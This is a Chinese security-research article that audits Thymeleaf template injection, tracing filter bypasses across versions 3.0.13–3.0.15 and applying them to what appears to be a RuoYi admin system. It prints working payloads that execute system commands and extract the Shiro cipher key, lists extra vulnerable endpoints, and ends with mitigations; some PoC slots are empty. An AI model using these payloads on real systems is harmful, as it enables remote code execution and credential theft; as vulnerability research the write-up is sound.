JAVA代码审计之Thymeleaf模板注入漏洞

对比3.0.13版本，我们可以看到：https://github.com/thymeleaf/thymeleaf/compare/thymeleaf-spring5-3.0.13.RELEASE…thymeleaf-spring5-3.0.14.RELEASEorg.thymeleaf.spring5.util.SpringStandardExpressionUtils#isPreviousStaticMarker新增了以下方法：此方法是检测是否出现了“param”关键字。禁止模板中使用 ${#param.xxx} 或 ${param.xxx} 来直接访问 HTTP 请求参数。当然了，此检测还是可以通过大小写进行绕过，且对new的检测逻辑不变，也可以用此方法绕过。

发现还新增了一个org.thymeleaf.spring5.util.SpringRequestUtils.containsExpression()方法，该方法用于判断一个字符串是否包含Thymeleaf 标准表达式（如 ${…}、*{…}、#{…}、@{…}、~{…}）,这里校验存在缺陷，使用“$${…}”即可绕过，但是“$${…}”并不是thymeleaf的标准语法，因此我们需要想办法将其划分变成${}格式的。恰好thymeleaf就有这个功能——字面量替换。

查看官方文档获取详情：https://www.thymeleaf.org/doc/tutorials/3.0/usingthymeleaf.html?referrer=baidu.com#literal-substitutions

也就是说，我们输入的：

等价于：

还有一种方法，在 Thymeleaf 的字面量替换（Literal Substitution）语法中，若 || 内部无任何内容，则求值结果将被替换为空字符串。因此，表达式 $||{} 将被等价转换为 ${}。

那么就可以执行后面的SPEL表达式了，我们再看看org.thymeleaf.spring5.util.SpringStandardExpressionUtils#isPreviousStaticMarker，是否对T关键字有了新的变化，发现了一个“isSafeIdentifierChar”检测，“isSafeIdentifierChar”方法要求我们输入的内容为可见字符串，因而原先的制表符以及%00绕过方法已经无法使用了。

这里对“T”限制十分严格，我们可转变思路，直接利用JDK标准库中的 ProcessBuilder 类。该类无需类型引用即可通过New进行实例化，随后调用 start() 方法启动进程，实现系统命令执行。无回显PoC如下：

有回显PoC如下：

这个版本thymeleaf-spring5的检测逻辑无较多变化，但是在thymeleaf本体中增加了一些检测以及黑名单。org.thymeleaf.util.ExpressionUtils#isTypeAllowed

此外，在org.thymeleaf.standard.expression.LiteralSubstitutionUtil#performLiteralSubstitution中对3.0.14的“$||{…}”方式进行了修复，这里的LITERAL_SUBSTITUTION_DELIMITER定义的值为“|”，但是“|$${…}|::.”格式的PoC还是可以继续使用。

我们可以通过反射的方式绕过黑名单限制，例如：

__|$${#response.addHeader("cmd","".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("org.apache.commons.io.IOUtils.toString(java.lang.Runtime.getRuntime().exec('whoami').getInputStream())"))}|__::.

首先导入ry_20250416.sql与quartz.sql文件，修改配置文件application-druid.yml账号密码

部署成功，登录至后台界面

这里先给出PoC：

全局搜索getNames，进入getCacheNames方法：

可以看到这就是一个典型的Thymeleaf漏洞案例，直接渲染我们输入的Fragment参数：

看看Thymeleaf版本，可以看到版本为3.0.15，这个版本存在绕过的方式，因而存在漏洞。

执行3.0.15的PoC，可以看到成功执行了calc的命令。

__|$${#response.addHeader("cmd","".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("org.apache.commons.io.IOUtils.toString(java.lang.Runtime.getRuntime().exec('calc').getInputStream())"))}|__::.

我们还可以通过以下PoC获取shirokey，利用过程就不过多细述。

__|$${#response.getWriter().print(@securityManager.getClass().forName('java.util.Base64').getMethod('getEncoder').invoke(null).encodeToString(@securityManager.rememberMeManager.cipherKey))}|__::.x

根据网上公开的PoC来看，几乎所有的入口都是“/monitor/cache/getNames”，其实还有其他接口也可以。我们全局搜索：“return.*::”，发现还有其他三个接口存在漏洞。分别是“/demo/form/localrefresh/task”、“/monitor/cache/getKeys”、“/monitor/cache/getValue”。

我们就简单分析一下“/demo/form/localrefresh/task”接口吧，可以看到需要我们传入fragment、taskName、mmap参数(实际上传入fragment参数即可)。可控点依旧是"fragment"。

PoC也很简单，只是换了不同的接口而已：

研究其他触发接口有什么用呢，这里我找到某个漏洞issues，使用这个系统的开发人员并没有打算升级系统至安全版本，而是选择注释代码，可能仅仅注释了网上爆出来的“/monitor/cache/getNames”接口，但是其他存在漏洞的接口并没有做任何处理，因而漏洞仍然存在，并没有完全修复。

controller的参数被设置为HttpServletResponse，Spring认为它已经处理了HTTP Response，因此不会发生视图名称解析，也就不存在Thymeleaf模板注入漏洞。

根据spring boot定义，如果名称以redirect:和forward开头，则不再调用ThymeleafView解析，调用RedirectView去解析controller的返回值。

1. @ResponseBody

• 修饰方法或类，表示该方法的返回值不走视图解析器（如 ThymeleafViewResolver），而是通过 HttpMessageConverter（通常 Jackson）直接序列化成响应体内容（JSON/XML 等）。

• 使用 @ResponseBody 后，返回值是数据对象 → 不返回视图名 → 完全跳过 Thymeleaf 渲染路径。

2. @RestController

• 是 @Controller + @ResponseBody 的组合注解（@RestController = @Controller + @ResponseBody）。修饰类，表示该 Controller 所有方法返回值都直接写入响应体（默认 JSON），专用于 REST API。

• API 接口（常见 SSTI 目标，如监控、缓存接口）直接返回 JSON → 用户输入无法污染视图名 → SSTI 不可能触发。

参考来源：

https://segmentfault.com/a/1190000021848063#item-1https://mp.weixin.qq.com/s/LvzahtrIu7ESL0FwrwxEEAhttps://mp.weixin.qq.com/s/pBt3Q0VF44AD7tTXxCD7Kghttps://forum.butian.net/share/1922https://mp.weixin.qq.com/s/P7Io0VCaI3b1MSMjgr1AnAhttps://www.cnpanda.net/sec/1063.htmlhttps://www.freebuf.com/vuls/413661.htmlhttps://mp.weixin.qq.com/s/uxvGbO4biM87DVSXA_ZlQwhttps://mp.weixin.qq.com/s/Sk9ySY837o7U-NAn6dN0RAhttps://mp.weixin.qq.com/s/_wSw7TJKHXzYuphRQbWxsg

-END-